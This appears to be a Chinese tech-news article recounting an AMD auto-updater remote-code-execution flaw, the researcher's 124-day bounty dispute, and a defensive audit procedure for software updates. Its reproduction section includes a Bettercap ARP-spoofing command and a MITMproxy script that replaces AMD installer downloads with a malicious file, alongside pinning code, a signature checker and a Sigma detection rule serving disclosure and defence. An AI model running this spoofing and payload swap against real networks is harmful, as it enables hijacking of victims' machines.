首页/资讯中心/详情

AMD自动更新RCE漏洞实战复盘：124天交涉全记录+软件更新安全审计SOP完整教程

AMD自动更新RCE漏洞实战复盘：124天交涉全记录+软件更新安全审计SOP完整教程
📅 发布时间：2026/6/22 13:50:18

今年6月安全圈讨论度最高的事件，不是某款主流系统的零日漏洞被野利用，是AMD驱动自动更新器的一个RCE漏洞，以及背后长达124天的赏金拉锯。

独立研究员MrBruh把完整交涉记录和技术细节发到个人博客后，当天就冲上了Hacker News首页。整个安全圈吵的不是漏洞技术含量有多高，是这件事把软件供应链最隐蔽也最致命的一个环节，彻底撕给了所有人看。

没人想到，装机量百万级的官方驱动更新工具，核心下载链路居然走明文HTTP，连最基础的文件签名校验都没做。更没人想到，厂商确认漏洞真实存在、受益于研究员的报告修复了风险，转头就能以“中间人攻击不在赏金范围”为由，拒付一万美元的标准高危赏金。

这件事已经超出了单个漏洞的范畴。它戳破了很多厂商的安全假象：官网挂着HTTPS绿锁，合规文档写得满满当当，真正决定千万终端安全的更新链路，能省则省，能混则混。

124天：从随手抓包到全网争议的完整交涉过程

2026年1月27号，新西兰22岁的独立安全研究员MrBruh装完自己的新游戏主机。CPU是Ryzen 9 7950X，装完系统第一件事就是装Ryzen Master调参数。
软件刚启动就弹出了更新提示。他没直接点更新，随手开了Wireshark抓了个包——这是安全从业者的职业习惯。

抓包结果让他有点意外。更新程序先请求了一个HTTPS地址，拉取XML格式的更新清单，这个环节加密没问题。但XML里的安装包下载地址，是明晃晃的HTTP链接，没有任何加密。

他第一反应是自己看错了。AMD这种级别的硬件厂商，驱动更新这么核心的功能，不可能犯这种低级错误。

他接着逆向了更新程序的主程序，越挖越心惊。客户端下载完exe文件后，既不校验文件的SHA256哈希值，也不验证微软Authenticode数字签名，拿到文件直接调用CreateProcess以管理员权限启动。

也就是说，只要能劫持这个HTTP下载链路，就能把官方安装包换成任意恶意程序。更新程序会帮攻击者把恶意代码以最高权限跑在用户电脑上，连个风险提示都不会弹。

这是标准的远程代码执行漏洞，也就是自动更新RCE，对应CVE编号CVE-2026-40677，CVSS评分7.7，属于高危级别。

2月6号，MrBruh整理好完整的漏洞报告、复现视频、逆向代码片段和流量抓包文件，通过AMD合作的赏金平台Intigriti提交了漏洞。按AMD公开的赏金计划，高危RCE漏洞的奖金是10000美元。

他本来以为这是一次常规的漏洞上报。结果提交当天，工单就被平台关闭了。
官方回复很简短：我们确认该漏洞真实存在，但根据AMD漏洞赏金计划规则，中间人攻击（MITM）场景不在奖励覆盖范围内，本次不予发放赏金。
MrBruh当场就懵了。

自动更新组件的中间人攻击，直接导致远程代码执行，是软件供应链攻击最主流的入口。几乎所有主流厂商的赏金计划，都会把这类漏洞纳入高危范围。AMD直接把整个场景排除在外，等于给更新链路的安全开了个天窗。

他没有直接公开漏洞。按行业通用的90天披露规则，他给厂商留足了修复时间，同时继续和平台、AMD安全团队沟通。

沟通全程被动。AMD安全团队很少主动回复邮件，每次都是MrBruh追问进度，隔一周才会收到一句“正在处理”。

第85天的时候，AMD发来了正式的延期申请。他们说这个更新组件牵扯到Ryzen Master、AMD管理控制台、AMD µProf等多款工具，底层重构工作量大，申请延期30天修复。

MrBruh同意了。他的核心诉求从来不是那一万美元，是让几百万用户尽快补上这个高危漏洞。

他还主动下架了自己提前写好的漏洞分析博客，避免提前泄露给恶意攻击者。
后面的发展完全超出预期。

延期的30天里，AMD没有同步过任何修复进度。第110天、第115天，MrBruh连续发了三封邮件询问补丁状态，都只收到了系统自动回复。

直到第124天，也就是6月9号，AMD突然推送了修复补丁，同时通知研究员漏洞可以公开披露。

整个修复周期，比行业通用的90天标准多了34天。

MrBruh重新发布了完整的漏洞分析博客，把124天的交涉记录全部放了出来。
文章很快发酵。安全圈几乎一边倒地站在研究员这边，核心质疑集中在三点。

  1. 漏洞真实存在，覆盖数百万用户，厂商靠研究员的报告规避了大规模安全风险，却以一句“不在范围”拒付赏金，不符合行业共识。
  2. AMD口中的“小众MITM场景”，实际攻击门槛极低。公共WiFi、企业内网ARP欺骗、运营商链路劫持、恶意家用路由器，都能实现攻击，根本不是极端场景。
  3. 有开发者翻出了AMD赏金计划的历史版本，发现“MITM场景排除”的条款，是在MrBruh提交漏洞之后才悄悄加上的。等于厂商打完仗才画靶，事后修改规则约束上报者。

AMD很快给出了官方回应。

他们坚持赏金计划规则明确排除MITM类漏洞，自己没有违规。同时强调漏洞只影响配套工具，不涉及核心显卡驱动，用户风险可控，已经完成修复并分配了CVE编号，也在公告里致谢了研究员。

这个回应没有平息争议。

很多安全从业者直言，厂商的逻辑就是“没出事的时候安全不重要，有人报漏洞的时候规则最重要”。赏金计划不是用来奖励安全贡献的，是用来做品牌公关的。

类似的事不是第一次发生。前两年NVIDIA的GeForce Experience更新器也出过几乎一模一样的漏洞，也是HTTP下载+无签名，最后厂商也是修了漏洞但没给赏金。

驱动类软件的更新组件，好像一直是安全的盲区。用户默认信任官方厂商，厂商默认没人会盯着更新链路挖漏洞。

拆开看：这个自动更新RCE到底有多好利用

这个漏洞没有任何技术门槛，入门级渗透测试人员就能复现。它的核心问题，是厂商在更新链路上做了“半吊子安全”。

两层架构的致命割裂

AMD自动更新组件的通信逻辑分两层。

  1. 第一层是更新清单拉取。客户端向官方服务器发送HTTPS请求，拿到一个XML格式的更新列表，里面包含最新版本号、文件大小、下载地址。这一层做了加密，看起来很正规。
    第二层是安装包下载。客户端解析XML里的下载地址，直接通过HTTP下载对应的exe安装包。这一层完全明文，没有任何加密和校验。

相当于你给家门装了最高级的指纹锁，却把家里保险柜的钥匙放在了门口的脚垫下面。攻击者根本不用撬锁，弯腰就能拿到钥匙。

根据AMD自动更新组件通信架构图，我们可以直接看更新清单的XML结构，这是从抓包文件里还原出来的内容：

<?xml version="1.0" encoding="UTF-8"?><UpdateList><Productname="Ryzen Master"><Version>2.11.0.2675</Version><DownloadURL>http://download.amd.com/desktop/ryzen_master_2.11.0.2675_setup.exe</DownloadURL><FileSize>125829120</FileSize><ReleaseDate>2026-01-15</ReleaseDate></Product><Productname="AMD uProf"><Version>4.2.0</Version><DownloadURL>http://download.amd.com/desktop/uprof_4.2.0_setup.exe</DownloadURL><FileSize>87031808</FileSize></Product></UpdateList>

所有下载地址都是HTTP协议，没有任何哈希校验字段。客户端只会校验文件大小，而文件大小攻击者可以随便伪造。

客户端校验逻辑完全缺失

逆向更新程序的核心执行逻辑，简化后的伪代码大概是这样：

// AMD更新程序下载执行逻辑（简化还原版）voidDownloadAndRunUpdate(string downloadUrl){// 1. 下载文件到系统临时目录string tempPath=GetTempPath()+"amd_update_temp.exe";DownloadFile(downloadUrl,tempPath);// 2. 唯一校验：检查文件大小if(GetFileSize(tempPath)!=expectedSize){DeleteFile(tempPath);return;}// 3. 直接申请管理员权限启动ShellExecute(NULL,"runas",tempPath,NULL,NULL,SW_SHOW);}

没有数字签名校验，没有哈希校验，没有发布者验证。唯一的校验是文件大小，攻击者只要把恶意程序改成和官方包一样的大小，就能直接绕过。
更离谱的是，更新程序默认申请管理员权限运行。也就是说，恶意程序跑起来之后，直接拥有系统最高权限，可以改注册表、装驱动、植入持久化后门，想做什么做什么。
普通用户根本分辨不出来。弹出来的是官方更新程序的窗口，进度条正常走，装完之后电脑也没什么异常。恶意程序早就静默执行完了。

完整攻击复现步骤

整个攻击过程只需要三步，攻击者和受害者在同一个局域网内就能完成，比如公共咖啡馆、公司内网、出租屋共享WiFi。

第一步，ARP欺骗占住链路。
攻击者在同一局域网内运行Bettercap，对受害者主机做ARP欺骗，把自己伪装成网关。这样受害者所有的网络流量，都会先经过攻击者的主机。

# Bettercap ARP欺骗执行命令bettercap-ifaceeth0-T192.168.1.100-G192.168.1.1 arp.spoof on

192.168.1.100是受害者IP，192.168.1.1是网关地址。执行之后，受害者的出站流量就全部被劫持了。

第二步，HTTP流量替换安装包。
攻击者开启HTTP代理模块，匹配AMD下载域名的exe请求，把官方安装包替换成提前做好的恶意程序。
用MITMproxy的话，只需要几行Python脚本就能实现：

# MITMproxy 流量替换脚本frommitmproxyimporthttpdefrequest(flow:http.HTTPFlow)->None:# 匹配AMD下载域名的exe请求if"download.amd.com"inflow.request.hostandflow.request.path.endswith(".exe"):# 读取本地恶意程序withopen("/tmp/malicious_update.exe","rb")asf:malicious_file=f.read()# 替换响应内容flow.response=http.Response.make(200,malicious_file,{"Content-Type":"application/octet-stream","Content-Length":str(len(malicious_file))})

受害者只要触发更新，下载的就不是官方安装包，是攻击者准备好的恶意程序。

第三步，静默获取系统权限。
更新程序下载完文件，校验一下大小没问题，直接以管理员权限运行。恶意程序执行后，攻击者就能拿到受害者主机的完整控制权。
整个过程用户没有任何感知。更新窗口正常显示，安装进度正常推进，甚至装完之后还会提示“更新成功”。
攻击成功率接近100%。因为用户不会怀疑官方驱动更新带毒，杀毒软件也很难识别——更新程序是官方签名的合法程序，它启动的子进程，很多安全工具会默认放行。

漏洞的实际危害量级

很多人觉得，不就是个局域网攻击吗，哪有那么容易碰到。
这个认知完全错了。

MITM攻击的场景远不止公共WiFi。企业内网里，一台员工主机被攻陷，攻击者就能通过ARP欺骗横向移动，给全公司的AMD主机投毒。运营商层面的HTTP劫持，能覆盖一个城市的所有用户。还有恶意家用路由器、钓鱼WiFi、CDN节点被攻陷，都是真实存在的攻击路径。

去年就有勒索软件团伙，通过劫持某常用办公软件的更新链路，一周之内感染了三万多台企业主机。

自动更新是最高效的供应链投毒渠道。它有官方信任背书，有最高系统权限，能批量触达用户。一旦这个环节出问题，就是级联式的大规模安全事故。

AMD这个漏洞，覆盖了全球数百万台锐龙主机、工作站和服务器。真的有黑产团伙盯上这个漏洞，后果不堪设想。

AMD修复方案的局限性

AMD这次的修复方案，说穿了就两步。一是把所有HTTP下载链接改成了HTTPS，二是加了基础的SHA256哈希校验。
修复是修了，但没修到位。
他们没有做证书钉扎。也就是说，如果攻击者拿到了一张合法的、受信任的CA证书，伪造了download.amd.com的域名证书，依然能劫持下载流量。
他们也没有做严格的数字签名校验，只是校验了清单里的哈希值。如果攻击者能篡改XML更新清单，就能同步篡改哈希值，校验照样能绕过。
说白了，就是补了最明显的窟窿，更深层的防护还是没做。后续如果再出个XML注入或者清单劫持漏洞，RCE依然成立。

通用SOP：软件自动更新安全审计完整落地教程

踩完AMD的坑，我们可以整理出一套可直接落地的软件自动更新安全审计SOP。
不管你是客户端开发、安全测试、企业运维还是供应链安全负责人，这套SOP都能直接套用，帮你避开99%的更新链路漏洞。

软件更新安全审计全流程SOP图*
整个SOP分四个阶段：开发静态审计、上线前渗透测试、线上周期性复测、漏洞应急响应。每个阶段都有明确的检查项和落地方法，没有空泛的理论。

阶段一：开发阶段静态审计

这个阶段是成本最低、效果最好的防护阶段。所有安全规则都要在开发阶段写死，不能留配置开关，不能给后续留偷懒的空间。

传输层安全强制规范

传输层是第一道防线，核心要求只有一个：全链路杜绝明文HTTP，没有例外。

  1. 所有更新相关请求，包括更新清单拉取、安装包下载、增量包下载、日志上报、配置同步，全部强制HTTPS，代码层面拦截所有HTTP请求，禁止通过配置文件动态切换协议。
    很多厂商会犯和AMD一样的错：主接口HTTPS，CDN下载节点HTTP。觉得下载的是公开文件，加密没必要。这是完全错误的认知，下载链路是篡改风险最高的环节。
  2. 强制TLS 1.3协议，禁用TLS 1.0、TLS 1.1和所有不安全的加密套件。服务端配置HSTS，强制客户端走HTTPS，防止SSL剥离攻击。
  3. 必须实现证书钉扎（SSL Pinning）。客户端代码里硬编码更新服务器的公钥SHA256指纹，只接受和预置指纹匹配的证书，哪怕是系统信任的CA签发的证书，指纹不对也直接拒绝连接。
    这是防范伪造证书、CA被攻陷场景的唯一有效手段。很多厂商觉得有HTTPS就够了，实际上CA体系并没有那么可靠。
    这里给一段C#实现证书钉扎的示例代码，可以直接集成到客户端更新模块里：
// 证书钉扎实现示例usingSystem.Net.Security;usingSystem.Security.Cryptography.X509Certificates;publicstaticclassCertificatePinning{// 硬编码官方更新服务器公钥SHA256指纹，禁止通过配置文件修改privateconststringExpectedPublicKeyPin="7A:B2:3C:D4:E5:F6:78:90:1A:2B:3C:4D:5E:6F:70:81:92:A3:B4:C5:D6:E7:F8:09:10:21:32:43:54:65:76:87";publicstaticboolValidateCertificate(objectsender,X509Certificatecertificate,X509Chainchain,SslPolicyErrorssslPolicyErrors){// 任何证书策略错误直接拒绝if(sslPolicyErrors!=SslPolicyErrors.None)returnfalse;X509Certificate2cert2=newX509Certificate2(certificate);stringactualThumbprint=cert2.GetCertHashString(HashAlgorithmName.SHA256);// 公钥指纹严格比对，不做模糊匹配returnstring.Equals(actualThumbprint,ExpectedPublicKeyPin,StringComparison.OrdinalIgnoreCase);}// 注册到全局HTTP客户端publicstaticvoidRegisterPinningHandler(HttpClientHandlerhandler){handler.ServerCertificateCustomValidationCallback=ValidateCertificate;}}
  1. 禁用系统默认的宽松证书校验逻辑，禁止开发环境的跳过证书校验代码流入生产环境。CI/CD流程里加检测规则，但凡出现ServicePointManager.ServerCertificateValidationCallback = null这类跳过校验的代码，直接阻断构建。
安装包完整性与身份校验

这是核心防线。传输层被突破的情况下，校验逻辑是最后一道闸门。AMD就是完全没做这一层，才导致一破就透。

  1. 每一个正式发布的更新包，都必须使用厂商离线存储的私钥生成数字签名。Windows平台用Authenticode签名，Linux平台用GPG签名，公钥内置在客户端里，不能随更新包下发。
  2. 客户端下载完更新包后，必须执行双重校验：先校验文件SHA256哈希值和更新清单里的是否一致，再校验数字签名的合法性和发布者身份。
  3. 任何一项校验失败，立即删除下载的文件，终止更新流程，弹出明确的安全告警，同时上报异常日志到服务端。绝对不允许设置“校验失败仍继续执行”的兼容选项。
  4. 签名私钥必须离线存储，严格管控访问权限，定期轮换。同时配置证书吊销列表（CRL）和OCSP校验，一旦私钥泄露，能立刻吊销旧证书，阻断恶意包的校验。
    增量更新的安全校验不能偷懒。很多厂商全量更新包做了签名，增量补丁包却只做简单的二进制差分，没有签名校验。攻击者可以篡改增量包，在差分过程中注入恶意代码。所有增量包必须和全量包走同一套签名校验逻辑，补丁应用前后都要校验文件哈希。
    更新回滚机制也要审计。更新失败回滚的时候，要校验回滚文件的完整性和签名，不能直接加载旧版本文件，防止攻击者利用回滚机制植入恶意文件。

这里给一个PowerShell版本的文件签名检测脚本，可以集成到CI/CD流程，也可以用来批量巡检终端文件：

# 文件数字签名检测脚本functionTest-FileAuthenticode{param([Parameter(Mandatory=$true)][string]$FilePath,[string]$ExpectedPublisher="")if(-not(Test-Path$FilePath-PathType Leaf)){Write-Output"[错误] 文件不存在:$FilePath"return$false}$signature=Get-AuthenticodeSignature-FilePath$FilePathif($signature.Status-ne"Valid"){Write-Output"[警告] 文件签名无效，状态:$($signature.Status)"return$false}# 如果指定了预期发布者，额外校验发布者身份if(-not[string]::IsNullOrEmpty($ExpectedPublisher)){if($signature.SignerCertificate.Subject-notlike"*$ExpectedPublisher*"){Write-Output"[警告] 签名发布者不匹配，实际发布者:$($signature.SignerCertificate.Subject)"return$false}}Write-Output"[正常] 文件签名有效，发布者:$($signature.SignerCertificate.Subject)"return$true}# 调用示例Test-FileAuthenticode-FilePath"C:\Updates\app_setup.exe"-ExpectedPublisher"AMD"
权限与执行逻辑安全

更新程序权限高，哪怕校验逻辑都做了，也要在执行层面加一层保险。

  1. 遵循最小权限原则。更新如果只涉及用户目录下的文件，就不要申请管理员权限。只有更新系统级驱动、写入Program Files目录的时候，才临时提权，用完立刻释放。
  2. 更新文件必须下载到系统临时目录，设置严格的访问权限，禁止其他进程读写。校验通过之后，再移动到正式安装路径。绝对不能在公共目录下执行更新程序。
  3. 高危更新、驱动级更新，必须弹出明确的用户确认窗口，不能静默后台安装。给用户留最后一道人工校验的关口。
  4. 更新完成后，立刻删除临时安装包，不要残留。避免恶意程序替换残留文件，后续被更新程序二次执行。
配置与更新清单安全

很多厂商防住了下载链路，却在更新清单上栽了跟头。

  1. 更新清单不能只靠传输层加密，本身也要做签名校验。XML、JSON格式的清单文件，服务端要用私钥签名，客户端拉取后先验签，再解析内容。防止传输层被突破后，攻击者篡改清单里的下载地址和哈希值。
  2. 更新服务器地址、公钥指纹这些核心配置，必须硬编码在客户端二进制文件里，不能明文写在配置文件里。防止用户或者恶意程序修改配置，跳转到恶意更新源。
  3. 严格区分生产环境和测试环境的更新域名。测试环境的更新地址绝对不能出现在正式版客户端里。很多开发为了方便，在代码里留了测试环境的开关，被攻击者利用就能切换到测试源，下载有漏洞的旧版本。
  4. 禁止更新清单动态加载第三方下载地址。所有下载链接必须属于官方自有域名，禁止跳转第三方CDN的时候不带校验。

阶段二：上线前渗透测试审计

开发阶段做了规则，不代表实际落地没问题。上线前必须做完整的渗透测试，模拟真实攻击场景验证防护效果。
所有测试项必须全部通过，才能上线。有任何一项不通过，直接打回开发阶段整改。

必测的五个场景：

  1. ARP中间人劫持测试
    模拟同一局域网下的ARP欺骗，看能不能劫持更新流量，替换安装包。如果客户端做了全链路HTTPS+证书钉扎，这个测试应该直接失败，连接直接中断。
    常用工具：Bettercap、Ettercap、Wireshark。

  2. SSL剥离攻击测试
    模拟强制把HTTPS降级成HTTP，看客户端会不会接受明文连接。配置了HSTS和强制HTTPS的客户端，会直接拒绝连接，不会降级。
    常用工具：SSLstrip、Burp Suite。

  3. 伪造证书测试
    用自签名证书或者第三方CA签发的测试证书，模拟中间人伪造证书。做了证书钉扎的客户端会直接拒绝连接，不会信任系统证书库里的其他证书。
    常用工具：MITMproxy、Burp Suite、OpenSSL。

  4. 签名篡改测试
    修改官方安装包的二进制内容，重新打包，看客户端能不能识别出签名损坏，拒绝执行。还要测试篡改更新清单里的哈希值，看客户端会不会校验清单本身的签名。
    常用工具：CFF Explorer、Sigthief、二进制编辑器。

  5. 异常分支容错测试
    模拟断网、下载中断、文件损坏、校验失败等各种异常场景，看程序会不会出现崩溃、权限绕过、残留恶意文件等问题。特别是校验失败的分支，绝对不能出现“校验失败但继续执行”的逻辑。

很多公司的测试只测正常流程，不测异常分支。实际上大部分漏洞，都出在异常处理的逻辑里。

阶段三：线上周期性审计

安全不是一劳永逸的。产品迭代、功能更新、服务器架构调整，都可能引入新的漏洞。必须做周期性的常态化审计。

  1. 每月做一次全链路流量扫描。抓包检查所有更新相关接口，看有没有新增的HTTP明文地址，有没有不符合安全规范的请求。
  2. 每季度做一次签名密钥与证书审计。检查私钥存储权限、证书有效期、吊销列表状态，按计划轮换密钥。很多公司密钥放了好几年都不换，一旦泄露就是灭顶之灾。
  3. 每半年做一次第三方依赖组件审计。更新模块依赖的HTTP库、解析库、加密库，要定期扫漏洞，特别是那种自带跳过证书校验功能的第三方SDK，是重灾区。
  4. 每年复核一次漏洞赏金计划规则。明确哪些场景纳入奖励、哪些排除，定级标准和奖金金额公开透明。不要事后改规则，寒了研究员的心，最后吃亏的还是厂商自己和用户。

阶段四：漏洞应急响应规范

再完善的防护，也不能保证绝对不出漏洞。应急响应做不好，小漏洞也会变成大事故。AMD这次被骂，很大原因就是响应慢、沟通差。

  1. 明确漏洞分级和响应时效。高危RCE类漏洞，90天内必须出正式修复补丁，每周同步一次修复进度给上报者。严重漏洞24小时内出缓解方案，72小时出临时补丁。
  2. 建立专门的安全沟通渠道。给漏洞上报者留直接对接的安全接口人，不要让人家跟客服机器人来回踢皮球。人家帮你找漏洞，你连个对接的人都不给，说不过去。
  3. 修复补丁推送的同时，必须同步发布安全公告。说明漏洞影响范围、风险等级、修复方法，还要公开致谢漏洞上报者。这是行业基本礼仪，也是对安全贡献的尊重。
  4. 高危漏洞修复期间，要给用户提供临时缓解方案。比如怎么关闭自动更新、怎么拦截恶意域名、怎么手动更新。不能让用户裸奔等三个月补丁。

企业侧：从终端到供应链的全套防护方案

如果你是企业安全运维负责人，不用等厂商修复，自己就能做多层防护，把自动更新的风险降到最低。

终端侧：管住权限和执行

终端是最后一道防线，核心是限制更新程序的权限，拦截未签名的高权限执行。

  1. 域环境批量管控自动更新服务。对于驱动类、工具类的自动更新，统一通过组策略禁用开机自启，只在需要更新的时候手动开启。
    这里给一个批量禁用AMD自动更新服务的PowerShell脚本，可以直接下发到域内所有主机：
# 批量禁用AMD自动更新服务$amdServices= @("AMD External Events Utility","AMD Software: Adrenalin Edition Update Service","RyzenMasterUpdateService")foreach($serviceNamein$amdServices){$service=Get-Service-Name$serviceName-ErrorAction SilentlyContinueif($service){Set-Service-Name$serviceName-StartupType DisabledStop-Service-Name$serviceName-ForceWrite-Output"已禁用服务:$serviceName"}}
  1. EDR加专项检测规则。监控所有更新类进程的子进程创建行为，只要更新程序启动了没有有效数字签名的子进程，直接拦截并告警。
    给一条Sigma检测规则，可以直接导入SIEM平台：
title:AMD更新程序启动未签名子进程id:amd-update-rce-detectionstatus:experimentaldescription:检测AMD自动更新组件启动无有效签名的可执行文件，可能存在MITM篡改author:Security Audit Teamdate:2026-06-14logsource:product:windowscategory:process_creationdetection:selection_parent:ParentImage|endswith:-'AMDRSServ.exe'-'AMDUpdater.exe'-'RyzenMasterUpdate.exe'filter_signed:Signed:'Valid'condition:selection_parent and not filter_signedfalsepositives:-测试环境下的未签名内部更新包level:high
  1. 开启Windows Defender的应用程序控制策略（WDAC），只允许受信任发布者签名的程序运行。哪怕更新链路被劫持，恶意程序没有官方签名，也跑不起来。

服务器环境的防护标准要更高。AMD EPYC服务器的驱动和管理工具更新，必须全部走离线手动更新，禁止开启自动更新。每一次更新包都要做完整的签名校验和病毒扫描，确认无误后再逐台部署。服务器权限高，一旦被攻陷，影响的是整个业务系统。

网络侧：掐断明文更新流量

在网关和网络边界做拦截，从流量层面堵住风险。

  1. 出口防火墙加规则，拦截所有HTTP协议的软件更新流量。只允许HTTPS协议的更新请求通过，从根源上杜绝明文下载的风险。
  2. 内网DNS服务器做管控，把常用软件的更新域名解析到内网私有更新源，禁止终端直接连接外网更新服务器。
  3. 有条件的企业可以开启出口SSL解密，检测所有HTTPS更新流量的内容。如果发现下载的文件没有有效签名，直接阻断。

供应链侧：把风险挡在外部

企业采购硬件和软件的时候，就要把更新安全纳入准入标准，不要等买进来了再补窟窿。

  1. 建立厂商更新安全评估台账。新采购的软件、硬件驱动，先做更新链路安全检测。存在明文下载、无签名校验这类问题的，直接打回，不允许采购。
  2. 搭建企业内部私有更新源。所有操作系统补丁、驱动更新、软件升级，都先同步到内网服务器，人工校验完签名和哈希之后，再推给终端。绝对不让终端直接从外网拉更新包。
    Windows环境可以用WSUS或者SCCM，Linux环境可以搭本地YUM/APT源，驱动类更新可以用厂商的企业级更新管理工具。
  3. 建立漏洞情报跟踪机制。专人跟进常用软件、硬件厂商的安全公告，特别是更新组件相关的漏洞。一有新漏洞，第一时间推补丁，或者先上临时防护规则。

运营侧：补全意识和流程

技术防护再全，人的意识跟不上也没用。

  1. 给员工做安全培训，明确公共WiFi环境下禁止执行系统更新、驱动更新、软件升级操作。要更新就回公司内网，或者用可信的手机热点。
  2. 制定标准化的更新操作流程。所有终端更新必须走统一的内部渠道，不允许员工私自从第三方网站下载驱动和更新包。
  3. 每季度做一次终端安全巡检，扫一遍全网主机的更新组件版本和配置，有没有违规开启自动更新，有没有存在已知漏洞的版本。

最后说几句

这件事闹到最后，大概率还是不了了之。AMD不会补发那一万美元赏金，也不会改赏金计划的规则。过不了多久，大家就会忘了这个漏洞，继续用自动更新装驱动。

但这件事留下的提醒很重要。

我们总说软件供应链安全，总说要防范供应链投毒。很多人觉得那是国家级攻击，离自己很远。实际上最基础的更新链路安全，很多厂商都没做好。

HTTPS、数字签名、证书钉扎，都是成熟了十几年的技术。不是做不到，是不想做。觉得没人会挖，觉得出了事也没多大影响，觉得省点成本比用户安全重要。

直到真的被黑产利用，造成大规模数据泄露和勒索事件，才会后知后觉补窟窿。到那时候，损失的就不是一万美元赏金了。

安全这件事，从来都是防患于未然成本最低。

自动更新不该是安全的法外之地，更不该是厂商省钱的地方。

最后留两个问题，欢迎评论区聊聊：

  1. 你们公司有没有做过软件更新链路的全链路安全审计？碰到过哪些离谱的低级安全问题？
  2. 你认为MITM场景的漏洞，厂商应该纳入漏洞赏金范围吗？